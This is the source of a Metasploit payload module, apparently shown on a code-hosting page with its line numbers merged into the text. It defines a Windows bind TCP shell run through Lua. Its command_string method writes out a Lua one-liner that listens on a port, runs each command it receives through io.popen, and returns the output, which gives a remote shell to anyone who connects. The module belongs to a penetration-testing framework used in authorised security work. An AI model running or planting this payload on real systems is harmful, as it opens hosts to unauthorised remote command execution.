Path: blob/master/modules/payloads/singles/cmd/windows/bind_lua.rb
19780 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 21878include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Command Shell, Bind TCP (via Lua)',16'Description' => 'Listen for a connection and spawn a command shell via Lua',17'Author' => [18'xistence <xistence[at]0x90.nl>',19],20'License' => MSF_LICENSE,21'Platform' => 'win',22'Arch' => ARCH_CMD,23'Handler' => Msf::Handler::BindTcp,24'Session' => Msf::Sessions::CommandShell,25'PayloadType' => 'cmd',26'RequiredCmd' => 'lua',27'Payload' => {28'Offsets' => {},29'Payload' => ''30}31)32)33register_advanced_options(34[35OptString.new('LuaPath', [true, 'The path to the Lua executable', 'lua'])36]37)38end3940#41# Constructs the payload42#43def generate(_opts = {})44return super + command_string45end4647#48# Returns the command string to use for execution49#50def command_string51"#{datastore['LuaPath']} -e \"local s=require('socket');local s=assert(s.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""52end53end545556